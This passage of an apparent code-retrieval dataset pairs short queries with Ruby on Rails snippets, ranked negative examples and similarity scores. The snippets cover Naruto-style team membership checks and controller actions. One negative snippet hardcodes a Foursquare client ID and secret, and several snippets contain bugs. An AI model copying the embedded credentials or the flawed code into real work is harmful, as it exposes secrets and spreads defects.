"0.5280675", "0.5278495", "0.5277814", "0.5277627", "0.52705866", "0.52657115", "0.52645445", "0.5259239", "0.5259025", "0.5258407", "0.52475303", "0.5241751", "0.52404", "0.523706", "0.5231402", "0.5220223" ]
0.64007896
0
verifica se o raikage e um membro da equipe
def is_raikage_membro(equipe) membros = [equipe.mb_1_id, equipe.mb_2_id, equipe.mb_3_id, equipe.mb_S_id] val_is_raikage = false for i in 0..3 if Pessoa.find(membros[i]).rank.downcase == 'raikage' val_is_raikage = true end end val_is_raikage end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_medico_membro(equipe)\n membros = [equipe.mb_1_id, equipe.mb_2_id, equipe.mb_3_id, equipe.mb_S_id]\n val_is_medico = false\n\n for i in 0..3\n if Pessoa.find(membros[i]).rank.downcase == 'medico'\n val_is_medico = true\n end\n end\n\n val_is_medico\n end", "def is_anbu_equipe(equipe)\n membros = [equipe.mb_1_id, equipe.mb_2_id, equipe.mb_3_id, equipe.mb_S_id]\n val_is_anbu = true\n\n for i in 0..3\n val_is_anbu = (val_is_anbu and (Pessoa.find(membros[i]).rank.downcase == 'anbu'))\n end\n end", "def is_medico_equipe(equipe)\n membros = [equipe.mb_1_id, equipe.mb_2_id, equipe.mb_3_id, equipe.mb_S_id]\n count_medicos = 0\n\n for i in 0..3\n if Pessoa.find(membros[i]).rank.downcase == 'medico'\n count_medicos += 1\n elsif Pessoa.find(membros[i]).rank.downcase != 'chuunin' and\n Pessoa.find(membros[i]).rank.downcase != 'jounin'\n return false\n end\n end\n\n ((count_medicos == 3) and (Pessoa.find(membros[3]).rank.downcase == 'medico'))\n end", "def is_occupied?\n @renters.any?\n end", "def company?\n Profile.find_by_name('Entreprise financière').id == profile_id.to_i rescue false\n end", "def finance_office?\n current_user.role && current_user.role.upcase.split(',').include?('CO') && current_user.section_id==2\n end", "def rent_magazine_item?(magazine_item)\n \tif magazine_item.rental\n \treturn magazine_item.rental.user == self \n else\n \treturn false\n end\n end", "def copia_en_buzon_propio?\n return (current_user.puesto.buzon == self.buzon)\n end", "def officer?\n self.admin? or\n self.position == \"chair\"\n end", "def is_member_of_household?\n self.household.present?\nend", "def in_us1?\n self.nro_remision.to_s == \"\"\n end", "def primary_restaurant?\n primary_employment.present? && primary_employment.restaurant.present?\n end", "def debo_ir_a_carcel\n if (super)\n return !pagar_fianza\n else\n return true \n # Lo hemos hecho así, porque pensamos que si tiene carta y llama a \n # pagar fianza y tiene el saldo suficiente, se restaría dinero\n # del saldo aún teniendo la carta libertad\n end\n end", "def in_european_union?; end", "def roomexists(rname)\n if @cname.has_key?(rname) == true\n return true\n else\n puts(\"room not found?\")\n return false\n end\n end", "def is_primary?\n !is_regional?\n end", "def comprobacionmedidor\n\nif @privilegio == 'Administrador'\n\np \"Tienes todos los permisos\"\n\nelse\n\n@medidor = Medidore.find_by(token: @token)\nif @medidor[:asociado] == Usuario.find_by(mail: @mailvalidacion).nombre\nelse\n\np \"No tienes asociada esta phinet\"\njsonerror_response(\"No tienes asociada este Medidor #{@medidor[:nombre]}\")\n\nend\n\n\nend\n\n\n\n\nend", "def busca_receita_por_nome(nome_busca)\n receita_encontrada = nil\n\n $receitas.each do |receita|\n if(receita.nome.include? nome_busca)\n receita_encontrada = receita \n end\n end \n\n receita_encontrada\nend", "def occupied_by\n @occupied_by\n end", "def treasurer?\n ASF::AuthGroup.find('treasurer').members.include? self\n end", "def parcelle_assoc_saison_incoh\n err = false\n self.parcelles.each { |p| err = true unless p.saison_id.eql?(self.saison_id) }\n self.factoparcelles.each { |a| err = true unless a.saison_id.eql?(self.saison_id) }\n return (err)\n end", "def public?\n !foreign? && !facility_code.nil? && facility_code[0] == \"1\"\n end", "def is_cesia?\n CESIA_UPN.include?(self.upn)\n end", "def members?\n user.hoa == hoa\n end", "def has_persona_in? room\n p = room.personas.find_by(account_id: self.id)\n !p.nil? # true when has persona, false when no persona\n end", "def member?(p0) end", "def member?(p0) end", "def member?(p0) end", "def seniors\n # Faire une liste approximative de la db\n @membres = Membre.where(\"naissance < ?\", Date.civil(Date.today.year - 60, 12, 31).to_formatted_s(:db)).order('nom, prenom').to_a\n @membres.reject! { |m| !m.senior? } unless @membres.empty?\n end", "def all_on(very_nice_person)\n @members_tabs.each do |member_name, each_pre_tax|\n if member_name == very_nice_person\n @members_share[member_name] = 1\n else\n @members_share[member_name] = 0\n end\n end\n @split = :yes\n return @members_share\n end", "def carta_tem_ponto?(carta)\n ['A', '7', 'K', 'J', 'Q'].include? carta.numero\n end", "def participa?(otro_user)\n cousers.include?(otro_user)\n end", "def check_distributor_permissions(region)\n\t\tif !(region[\"Country Name\"].empty?||@include_regions[\"Country Name\"].empty?)\n\t\t\tif @include_regions[\"Country Name\"].include?(region[\"Country Name\"].first) && !@exclude_regions[\"Country Name\"].include?(region[\"Country Name\"].first)\n\t\t\t\treturn true if region[\"Province Name\"].empty?||@include_regions[\"Province Name\"].empty?\n\t\t\t\tif @include_regions[\"Province Name\"].include?(region[\"Province Name\"].first)\n\t\t\t\t\treturn true if region[\"City Name\"].empty?||@include_regions[\"City Name\"].include?(region[\"City Name\"].first)||(@include_regions[\"City Name\"].empty?)\n\t\t\t\tend\n\t\t\telsif @include_regions[\"Country Name\"].include?(region[\"Country Name\"].first) && @exclude_regions[\"Country Name\"].include?(region[\"Country Name\"].first)\n\t\t\t\treturn true if region[\"Province Name\"].empty?||(@include_regions[\"Province Name\"].empty?&& !@exclude_regions[\"Province Name\"].include?(region[\"Province Name\"].first))\n\t\t\t\tif @include_regions[\"Province Name\"].include?(region[\"Province Name\"].first) && !@exclude_regions[\"Province Name\"].include?(region[\"Province Name\"].first)\n\t\t\t\t\treturn true if region[\"City Name\"].empty?||@include_regions[\"City Name\"].include?(region[\"City Name\"].first)||(@include_regions[\"City Name\"].empty?)\n\t\t\t\telsif @include_regions[\"Province Name\"].include?(region[\"Province Name\"].first) && @exclude_regions[\"Province Name\"].include?(region[\"Province Name\"].first)\t\t\t\t\n\t\t\t\t\treturn true if region[\"City Name\"].empty?||@include_regions[\"City Name\"].include?(region[\"City Name\"].first)||((@include_regions[\"City Name\"].empty?)&&!@exclude_regions[\"City Name\"].include?(region[\"City Name\"].first))\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend", "def is_fir?\n self.fir_role != nil\n end", "def hometown_show?\n # self.venue.city\n # self.band.hometown\n\n self.venue.city == self.band.hometown\n end", "def organizations_in_vercinity\n\n\tend", "def eql?(outro_livro)\n\t \t@isbn == outro_livro.isbn\n\t end", "def validar_equipe(equipe)\n equipe_valida = true\n if is_raikage_membro(equipe)\n equipe_valida = false\n flash[:warning] = \"O Raikage não pode estar em uma equipe.\"\n\n elsif !is_anbu_equipe(equipe)\n equipe_valida = false\n flash[:warning] = \"Os ninjas ANBU só podem estar em uma equipe em que todos os membros são ANBU\"\n\n elsif is_medico_membro(equipe)\n unless is_medico_equipe(equipe)\n equipe_valida = false\n flash[:warning] = \"Os ninjas médicos devem estar em uma equipe formada por 3 ninjas médicos, sendo um deles o superior, e 1 ninja chuunin ou jounin.\"\n\n end\n end\n equipe_valida\n end", "def est_ami_avec?(prenom)\n\t\tamis.each do |ami|\n\t\t\treturn true if ami.prenom == prenom\n\t\tend\n\t\treturn false\n\tend", "def usada\r\n if @tipo == Tipo_sorpresa::SALIR_CARCEL\r\n @mazo.habilitar_carta_especial(self)\r\n end\r\n end", "def all_resident?\n lead_type == \"all_resident\"\n end", "def is_member?(society)\n self.societies.include?(society)\n end", "def read?(person, client)\n if (! self.priv)\n return self.client == client\n end\n return (self.client == nil || self.client == client) &&\n (owner == person || owner.contacts.include?(person) || (!person.nil? && person.moderator?(client)))\n end", "def public_venue\r\n case public\r\n when 1\r\n return true\r\n else\r\n return false\r\n end\r\n end", "def user_ip_rose_reading_room?\n rose_reading_room_ips.include? user_ip\n rescue\n false\n end", "def is_mine?( me )\n return false if me.nil?\n return false if depositor.nil?\n return depositor == me\n end", "def is_vaccine?\n vaccine\n end", "def unmatched?\r\n @partner.nil?\r\n end", "def has_carnivore?\n @carnivores.count > 0\n end", "def division?\n role?('division')\n end", "def tem_naipe_da_rodada_ou_trunfo?\n return true if primeiro_jogador?\n @cartas.each do |carta|\n naipe = carta.naipe\n if naipe == naipe_da_rodada or naipe == naipe_do_trunfo\n return true\n end\n end\n false\n end", "def virginia_borrower?\n # @profile !~ /^[a-z]{2,3}([0-9][a-z]{1,2})?$/i\n profile.match?(/Virginia Borrower|Other VA Faculty|Alum/i) ||\n profile.blank?\n end", "def can_be_officer?\n self.degree.to_sym == :master_mason\n end", "def personal_page?\n return false unless current_user\n return true if params[:owner_id].to_i == current_user.id\n return true if @user && current_user == @user\n return true if @quest && current_user.owns?(@quest)\n return true if @offer && current_user.owns?(@offer)\n \n false\n end", "def group?\n proprieties[:group]\n end", "def par?\n cuantos_pares >= 1\n end", "def in_peril?; @in_peril; end", "def asf_chair_or_member?\n asf_member? or ASF.pmc_chairs.include? self\n end", "def es (other)\n if other.is_a? Individuo\n @nombre == other.nombre\n elsif\n false\n end\n end", "def usa_admin?\n has_role?(:admin) && jurisdiction&.name == 'USA'\n end", "def need_details?\r\n admin? || purchasing? || popv_admin?\r\n end", "def es_matrimonio_asignado?(matrimonio)\n asignaciones_seguimiento.where(persona_id: matrimonio.esposo_id)\n .or(asignaciones_seguimiento.where(persona_id: matrimonio.esposa_id))\n .any?\n end", "def senior_member?\n\t\tsenior != true\n\tend", "def priv?\n !org?\n end", "def taxable?\n self[:taxable]\n end", "def podeCadastrarNovaTurma\n\n if (current_usuario.usuarioLimitado? && current_usuario.turmas.exists?)\n #se usuario é limitado e ja possui local\n #true -true\n return false\n end\n\n return true\n\n end", "def show?\n user_record? || user.accessible_registrants.include?(record) || event_planner? || super_admin?\n end", "def is_profesor?\n self.role.name.eql?(Role::PROFESOR)\n end", "def avalara_eligible?\n if ship_address.present? and ship_address.state.present?\n SpreeAvalara.sales_tax_states.keys.include? ship_address.state.abbr\n else\n false\n end\n end", "def owner?(mem)\n return false if not mem\n mem.lifes._ids.include?(data.owner_id)\n end", "def isResearcher?\n return account_type == 1\n end", "def any_herbivores?\n @carnivores.count < current_occupancy\n end", "def can_make_reserves?\n !undergraduate? && !virginia_borrower?\n end", "def valorated?(valoration)\n self.valorations.find_by_valorarion_id(valoration.id)\n end", "def occupied?\n !patient.nil?\n end", "def canread?(issue = nil)\n #Control Always Undesired User RoleId\n if self.isarchivied?\n return false\n end\n\n #return false\n #Control issue status\n if issue && !issue.se_protetto\n return true\n end\n\n #Control fismine user status\n if self.locked?\n return false\n end\n if self.registered?\n #USER Must be confirmed by administrator\n return false\n end\n if !self.active?\n return false\n end\n\n #PUBLIC INSTALLATION\n if !Setting.fee?\n return true #PUBLIC AREA\n end\n\n #Control Always abilitated User RoleId\n if self.ismanager? || self.isauthor? || self.isvip?\n return true\n end\n\n #Control Always Undesired User RoleId\n if self.isexpired?\n return false\n end\n\n #Control content if public\n if issue && !issue.se_visible_web?\n # --> kappao flash[:notice] = \"Articolo ancora non in linea. A breve verrà reso disponibile.\"\n return false\n end\n\n #control fee state\n self.control_state\n\n if self.isabbonato?\n return true\n end\n if self.isrenewing?\n return true\n end\n if self.isregistered?\n ##durante il periodo di prova l'utente accede ai contenuti rossi\n #if issue && issue.section && issue.section.protetto\n # #tranne quelli che hanno una sezione protetta\n # return false\n #end\n return true\n end\n end", "def rehabilitation_ali?\n team_ali_code.rehabilitation_code?\n end", "def staff?\n if self.role and self.role < 4 \n true\n end\n end", "def university_pending?\n university && line_items_pending_any?\n end", "def es_medidor_de_energia_reactiva\n \tmedidor_id = MedidorEstadoMedidor.where(estado_medidor_id: self.id).take.medidor_id\n medidor = Medidor.find(medidor_id)\n return medidor.tipo_medidor.codigo == 2\n end", "def partner_staff?\n staff? && agencies.any? { |a| a.partner? }\n end", "def is?(rololo)\n role == rololo\n end", "def fn_borrar()\n role = Administration::UserSession.find.record.attributes['role']\n r= false\n case role\n when 'ADMIN','APRE','COORD'\n r = true\n end\n r\n end", "def has_item?(item, include_equip = false)\n if item_number(item) > 0\n return true\n end\n if include_equip\n for actor in members\n return true if actor.equips.include?(item)\n end\n end\n return false\n end", "def candidatGrille()\n\n\tend", "def controllaInizio( pippo)\n if INIZIO == 1 && FINE > INIZIO\n return true\n else\n ultimoBook = Book.last\n end \n #ultimoBook = Book.last #<<=== cambiare (commentandola) questa istruzione per il primo ciclo di bidoni\n if INIZIO == ultimoBook.id+1 # 1 <<=== cambiare questa istruzione (mettere: INIZIO == 1) per il primo ciclo di bidoni\n return true\n else\n pippo.scriviRiga(\"Ultimo record in tabella books ha valore: #{ultimoBook.id}\") if INIZIO > 1\n return false\n end\nend", "def geopos(key, member); end", "def rent?(furnished, rent, baller)\n baller && (furnished || rent < 2100)\nend", "def publication_match_in_profile\n @info.available_related_content_types.include? 'emp'\n end", "def for_profit?\n !foreign? && !facility_code.nil? && facility_code[0] == \"2\"\n end", "def rent?(furnished, rent, baller)\n baller && (furnished || rent < 2100 ) ? true : false\nend", "def can_see_me? (fld)\n title = datamart_user.datamart_user_profile.title rescue ''\n case title\n when 'Processor'\n return true if fld.eql?('per_loan_processed') or fld.eql?('per_loan_branch_processed')\n when 'Branch Manager / NON Storefront' \n when 'Branch Manager Storefront'\n return true if fld.eql?('bmsf_override')\n when 'Branch Sales Manager'\n return true if fld.eql?('bsm_override')\n end\n false\n end", "def can_i_access_your_profile(is_friend, my_city, their_city, their_school)\n if is_friend == true\n \treturn true\n elsif my_city == their_city && their_school == \"MakerSquare\"\n \treturn \"YES\"\n elsif my_city == their_city && their_school != \"MakerSquare\"\n \treturn \"Mehh\"\n else \n \treturn \"Naw\"\n end\nend", "def employer?(affiliation_group)\n org = affiliation_group.first['summaries'].first\n if org['employment-summary']['organization']['disambiguated-organization'] != nil && \n (\n org['employment-summary']['organization']['disambiguated-organization']['disambiguation-source'] == 'RINGGOLD' ||\n org['employment-summary']['organization']['disambiguated-organization']['disambiguation-source'] == 'GRID'\n )\n return true if org['employment-summary']['organization']['disambiguated-organization']['disambiguated-organization-identifier'] == @orc_id\n end\n false\n end", "def cumple_requisitos?\n propietario.hangar.nivel >= 6 && propietario.cuenta.tecnologia_energia.nivel >= 6 && propietario.cuenta.tecnologia_militar.nivel >= 3 && propietario.cuenta.tecnologia_defensa.nivel >= 1 && super\n end", "def junior?\n\t\tgrade == 11\n\tend", "def memberships\n #Access membership => [memberships]\n #Select all memberships for specific member\n Membership.all.select do |m|\n #compare whether or not lifter property == this lifter\n m.lifter == self\n end\n\n end", "def am_member?(card)\n # this works because I'm the only possible member.\n # if this changes, this method will have to search the members list instead\n card.members.first == me \n end", "def is_owned_by?(member = nil)\n return false if member.blank?\n if self.designer == member or self.client == member\n true\n else\n member.is_super_user? ? true : false\n end\n rescue\n false\n end", "def exists?\n vnic\n end" ]
[ "0.63769585", "0.6215567", "0.59823006", "0.59507364", "0.57318103", "0.5691622", "0.56687886", "0.5649539", "0.5636041", "0.5622538", "0.5571581", "0.55539227", "0.5516401", "0.55153126", "0.5459029", "0.54582447", "0.54577106", "0.5439558", "0.54235655", "0.5363398", "0.5361126", "0.5358151", "0.5346877", "0.53337145", "0.53292656", "0.5322286", "0.5322286", "0.5322286", "0.5321138", "0.5320648", "0.53078854", "0.5302681", "0.5300939", "0.5286414", "0.5280136", "0.52793616", "0.5276409", "0.5274374", "0.52724695", "0.5265857", "0.5264114", "0.5261084", "0.5246941", "0.5243144", "0.52362126", "0.5227113", "0.5221574", "0.52053505", "0.5201254", "0.5198744", "0.5198175", "0.5191879", "0.51875865", "0.5174557", "0.51742524", "0.51739436", "0.51709294", "0.5156603", "0.5156384", "0.5155675", "0.51523924", "0.5151283", "0.5143259", "0.5140072", "0.5138985", "0.5135664", "0.5135171", "0.5134857", "0.5132283", "0.51241", "0.5117695", "0.51148784", "0.51124465", "0.510614", "0.5101877", "0.5098151", "0.50951904", "0.5094202", "0.50829464", "0.50724417", "0.5065229", "0.50643647", "0.50641614", "0.5062069", "0.5061092", "0.50593746", "0.5052778", "0.504482", "0.50421023", "0.5037113", "0.50343305", "0.5033259", "0.50297385", "0.50296724", "0.5019962", "0.50197726", "0.50166106", "0.50162715", "0.5013187", "0.5013178" ]
0.6939452
0
GET /outsides GET /outsides.json
def index @outsides = Outside.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @outside_requests = OutsideRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @outside_requests }\n end\n end", "def show\n @outside_request = OutsideRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @outside_request }\n end\n end", "def index\n ends = End.find_each\n render json: ends\n end", "def create\n @outside = Outside.new(outside_params)\n\n respond_to do |format|\n if @outside.save\n format.html { redirect_to @outside, notice: 'Outside was successfully created.' }\n format.json { render :show, status: :created, location: @outside }\n else\n format.html { render :new }\n format.json { render json: @outside.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n render json: @places\n end", "def index\n @offices = Office.all\n json_response(@offices)\n end", "def index\n @places = @site.places.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @places }\n end\n end", "def index\n # render json: Epicenter.where('owner_id = ?', @epicenter.id)\n puts Epicenter.all.count\n render json: Epicenter.all\n end", "def index\n #returns all events from eventbrite API, need to change to pull from her endpoint\n @eventList = Event.retrieve_all_events params\n render json: @eventList, status: 200\n end", "def index\n @endorsements = Endorsement.all\n\n render json: @endorsements\n end", "def index\n @ozones = Ozone.all\n render json: @ozones\n end", "def index\n @venues = Venue.all :conditions=>{:display=>true}, :origin=>[params[:lat].to_f, params[:lng].to_f], :within=>30\n\n respond_to do |format|\n #format.html # index.html.erb\n format.json { render :json => @venues.to_json(:except=>[:display, :user_id, :modified_user_id]), :callback=>params[:callback] }\n end\n end", "def set_outside\n @outside = Outside.find(params[:id])\n end", "def destroy\n @outside.destroy\n respond_to do |format|\n format.html { redirect_to outsides_url, notice: 'Outside was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n \t#Change to make a response flexible from a query method\n \tresponse = HTTP.auth(\"Bearer #{ENV['YELP_API_KEY']}\").get('https://api.yelp.com/v3/businesses/search?term=coffee&location=nyc')\n \t@yelps = response.parse['businesses']\n end", "def update\n respond_to do |format|\n if @outside.update(outside_params)\n format.html { redirect_to @outside, notice: 'Outside was successfully updated.' }\n format.json { render :show, status: :ok, location: @outside }\n else\n format.html { render :edit }\n format.json { render json: @outside.errors, status: :unprocessable_entity }\n end\n end\n end", "def outside_params\n params.fetch(:outside, {})\n end", "def index\n @electors = Elector.all\n\n render json: @electors\n end", "def index\n @estates = Estate.all\n @json = @estates.to_gmaps4rails\n respond_with(@estates)\n \n end", "def index\n @pols = Pol.includes(:events).all\n respond_to do |format|\n format.json\n end\n end", "def index\n if params[:workpoint_id]\n @outs = Workpoint.find(params[:workpoint_id]).outs\n else\n @outs = Out.all\n end\n respond_to do |format|\n format.json {\n render :json => @outs, :layout => false\n }\n end\n end", "def get_around_estates\n\n\t\t# center_x = 121.7155930000\n\t\t# center_y = 25.1215410000\n\t\t# delta_x = 0.00772495\n\t\t# delta_y = 0.01102129\n\n\t\tcenter_x = params[:center_x].to_f\n \tcenter_y = params[:center_y].to_f\n \tdelta_x = params[:delta_x].to_f\n \tdelta_y = params[:delta_y].to_f\n\n\n \tcritera = \"x_long IS NOT NULL and y_lat IS NOT NULL\"\n \tborder = \"and x_long > #{center_x - delta_x} and x_long < #{center_x + delta_x} and y_lat > #{center_y - delta_y} and y_lat < #{center_y + delta_y}\" \n\n \titems = Realestate.select(\"id, estate_group, x_long, y_lat\").where(\"#{critera} #{border}\").paginate(:page => 1, :per_page => 10)\n\n \trender :json => items\n\n\tend", "def index\n @maps = current_user.owned_maps\n respond_with @maps, :include => :waypoints\n end", "def new\n @outside_request = OutsideRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @outside_request }\n end\n end", "def index\n @offices = Office.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offices }\n end\n end", "def index\n @dinos = Dino.where(query_params)\n render json: @dinos\n end", "def index\n @illnesses = Illness.all\n\n render json: @illnesses\n end", "def index\n @essays = Essay.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @essays }\n end\n end", "def index\n @sightings = Sighting.all\n render json: @sightings\n end", "def index\n @oceans = Ocean.all\n end", "def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend", "def index\n \n @events = Event.order('created_at desc').page(params[:page]).per(params[:limit] || 10) \n \n if params[:type]\n @events = @events.where('poi_type_id = ?', params[:type])\n end\n \n if params[:search]\n search = \"%\" + params[:search].sub(\" \", \"%\") + \"%\"\n @events = @events.where('title like ? OR title_eu like ?', search, search)\n end\n \n @verfied = Event.where('is_verified = ?', true)\n @top_events = Event.order('rating desc').limit(4)\n @last_events = Event.order('created_at desc').limit(4)\n @next_events = Event.where('ends_at > ?', Time.now).order('starts_at asc').limit(8)\n @last_photos = Photo.where(is_visible_on_index: true).order('created_at desc').limit(8)\n @last_comments = Comment.order('created_at desc').limit(10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def events(venue)\n get(:standard, {:method => \"venue.getEvents\", :venue => venue})\n end", "def index\n @loves = Love.all\n render json: @loves\n end", "def index\n @universes = Universe.all.page(params[:page]).per(25)\n respond_to do |format|\n format.html\n format.json { render json: @universes }\n end\n end", "def index_hosting\n puts \"user: #{@current_user.json_hash[:id]}\"\n dinners = []\n @dinners = @current_user.hosted_dinners\n @dinners.each do |dinner|\n dinners << dinner.all_info\n end\n render json: dinners\n end", "def locations\n get('locations')\n end", "def index\n places = Place.active\n q = params[:q]\n if q\n # Sanitize the q param and find in 'tags' table, and then all matching places\n # tag = Tag.find_by(name: to_tag(q))\n places = Place.active.joins(:tags).where(tags: { name: to_tag(q) })\n end\n\n if params.key?(:open_now)\n now = Time.now.utc + (params[:tz_offset] || 0).to_i # This creates a UTC timezone that is adjusted to the local clock\n places = places.select { |p| open_now?(p.opening_hours, now, now) || open_now?(p.opening_hours, now, now - 1.day) }\n end\n render json: { 'places': places.map(&:short_data) }\n end", "def index\n @stopovers = Stopover.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stopovers }\n end\n end", "def index\n rooms = Room.includes(:problems, :registrations, :users, :owner)\n if params[:name]\n render json: rooms.where(name: params[:name])\n else\n render json: rooms\n end\n end", "def index\n \tif\n params[:search].present?\n client = Foursquare2::Client.new(:client_id => '45M1USHSGHPODOQWPSYJGAW50GBCMIHCKVQF410CKBCSO024', :client_secret => '4GO20RGY0BTI3VAQSS04P35AJ4A0DIZWF2JWLRPBFP0SDNQK', :api_version => '20140201')\n \n #results = client.search_venues(:ll => '40.0462925,-82.91250359', :query => params[:search])\n results = client.search_venues(:near => params[:location], :query => params[:search])\n\t\n @venues = results.venues\n\n @venues.each do |venue|\n Venue.where({\n name: venue.name,\n address: venue.location.address,\n venue_id: venue.id,\n city: venue.location.city,\n state: venue.location.state,\n lat: venue.location.lat,\n long: venue.location.lng,\n }).first_or_create\n end\n\n else\n\tclient = Foursquare2::Client.new(:client_id => '45M1USHSGHPODOQWPSYJGAW50GBCMIHCKVQF410CKBCSO024', :client_secret => '4GO20RGY0BTI3VAQSS04P35AJ4A0DIZWF2JWLRPBFP0SDNQK',:api_version => '20140201')\n \n results = client.search_venues(:ll => '40.0462925,-82.91250359', :query => params[:search])\n @venues = results.venues\n\n\nend\n\n\n #else\n # @restrooms = Restroom.all\n # end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @restrooms }\n end\n end", "def index\n locations = Location.all\n render json: locations\n end", "def index\n @nepals = Nepal.all\n\n render json: @nepals\n end", "def index\n @locs = Loc.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @locs }\n end\n end", "def venues(options = {})\n self.class.require_latitude_and_longitude(options)\n\n response = self.class.get(\"/venues.json\", :query => options, :basic_auth => @auth)[\"venues\"]\n response && response.flatten\n end", "def index\n # @places = Place.get_nearby_places(params[:lat], params[:lon]).paginate(:page => get_page)\n @places = Kaminari.paginate_array(Place.get_close_places(params[:lat], params[:lon], params[:radius])).page(get_page)\n render :json => \n { \n :places => @places.as_json(:lean_list => true),\n :page_info => \n { \n :page => get_page,\n :per_page => Place.per_page,\n :total_entries => @places.total_count \n }\n }\n end", "def list_endpoints\n render json: @endpoints, status: 200\n end", "def index\n @events = Event.where(adventure_id: params[:adventure_id])\n\n render json: @events\n end", "def index\n @sightings = Sighting.where(date: params[:start_date]..params[:end_date])\n render json: @sightings\n end", "def index\n @laws = Law.ordered_roots\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @laws }\n end\n end", "def index\n render json: EndService.paginate(page: params[:page], per_page: 25)\n end", "def list_tenants_for_circles(args = {}) \n get(\"/tenants.json/circles\", args)\nend", "def index\n @event_locations = EventLocation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @event_locations }\n end\n end", "def index\n @events = Event.all\n render json: @events, status: 200\n end", "def index\n @events = Event.all\n\n render json: @events\n end", "def get_locations\n splits = SplitLocationFinder.splits(params).where.not(course_id: @event.course_id)\n render json: splits, each_serializer: SplitLocationSerializer\n end", "def get_locations\n splits = SplitLocationFinder.splits(params).where.not(course_id: @event.course_id)\n render json: splits, each_serializer: SplitLocationSerializer\n end", "def index\n @zones = Zone.all\n\n render json: @zones\n end", "def index\n @places = Place.all\n\n respond_to do |format|\n format.html\n format.json { render json: @places }\n end\n end", "def index\n @events = Event.all\n render json: @events\n end", "def index # returns all bikes within a certain radius\n ## TODO: use coordinates later, when more campuses and bikes.\n # # defaults radius to half mile, and coordinate to requesting ip address\n # radius = params[:radius] ? params[:radius] : 0.5\n # coordinates = params[:coordinates] ? params[:coordinates] : request.location\n # puts coordinates\n # @bikes = Coordinate.near(coordinates, radius).joins(:bikes)\n @bikes = Bike.available\n render json: @bikes\n end", "def index\n @neighborhoods = Neighborhood.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @neighborhoods }\n end\n end", "def index\n @places = Place.all\n render json: @places , status: 403\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @office_hours }\n end\n end", "def locations(place)\n get :loc => place\n end", "def index\n\t\t@rides = if params[:lat] && params[:lng]\n Ride.near([params[:lat], params[:lng]])\n else\n Ride.scoped\n end\n \n if params[:page]\n @rides = @rides.page(params[:page])\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: { rides: @rides.as_json(root: false) } }\n end\n end", "def index\n @eobs = Eob.assigned\n @title = \"Posted EOBs\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eobs }\n end\n end", "def index\n data = get_index_data\n @dayoffs = data.page(params[:current_page]).per(PER_PAGE)\n respond_to do |format|\n format.html {\n render \"dashboards/admin_dashboard\"\n }\n\n format.json {\n render json: {\n total_page: @data.total_page,\n data: ActiveModel::SerializableResource.new(@dayoffs, each_serializer: AdminDayoffSerializer)\n }, status: :ok\n }\n end\n end", "def index\n @absents = Absent.joins(:level).joins(:classtype).order(\"created_at DESC\").limit(100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @absents }\n end\n end", "def index\n @ordens = Orden.all\n render json: @ordens\n end", "def index\n @rooms = Room.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rooms }\n end\n end", "def index\n @clock = @employee.clock_in_out\n render json: @clock\n end", "def index\n @rooms = Room.all\n respond_to do | format |\n format.html\n format.json\n end\n \n end", "def index\n @offices = Office.where(\"user_id = ?\", current_user).order('created_at DESC').page(params[:page])\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offices }\n end\n end", "def client_outlets\n @entries = Outlet.where(location_id: params[:location]) if request.xhr? \n end", "def index\n @dia_eventos = DiaEvento.all\n render json: @dia_eventos\n end", "def index\n @off_days = OffDay.all\n end", "def index\n @edge_types = EdgeType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @edge_types }\n end\n end", "def get_json\n response = @api.request(:get, @location)\n response.body if response.status == 200\n end", "def index\n @guests = Guest.for_event(Event.find_by(id:request.headers['EventId'].to_s).id)\n if request.headers['Search'].to_s\n @guests = Guest.for_event(Event.find_by(id:request.headers['EventId'].to_s).id).search(request.headers['Search'].to_s).order(\"name\")\n else\n @guests = Guest.for_event(Event.find_by(id:request.headers['EventId'].to_s).id).order('name')\n end\n\n render json: @guests\n end", "def index\n @events = current_user.events\n\n render json: @events\n end", "def show\n @outing = Outing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @outing }\n end\n end", "def city_events(city)\n response = RestClient.get('https://app.ticketmaster.com/discovery/v2/events.json?city=' + city + '&apikey=' + $ticket_master_api_key)\n jason_response = JSON.parse(response)\nend", "def index\n @employees = @client.employees\n @events = fetch_events\n end", "def index\n @ideas = Idea.current_ideas_for(current_user).entries\n respond_with(@ideas) do |format|\n format.json { render json: @ideas }\n end\n end", "def index\n client = find_client(request.headers[\"X-CLIENT-TOKEN\"], request.headers[\"X-CLIENT-EMAIL\"])\n @appointments = client.appointments.includes(:stylist).includes(:offerings).order(\"created_at DESC\")\n respond_to do |f|\n f.json {\n render :json => @appointments\n }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @events, include: [:partner, :address] }\n end\n end", "def index\n @evac_centers = EvacCenter.all\n render json: @evac_centers\n end", "def index\n 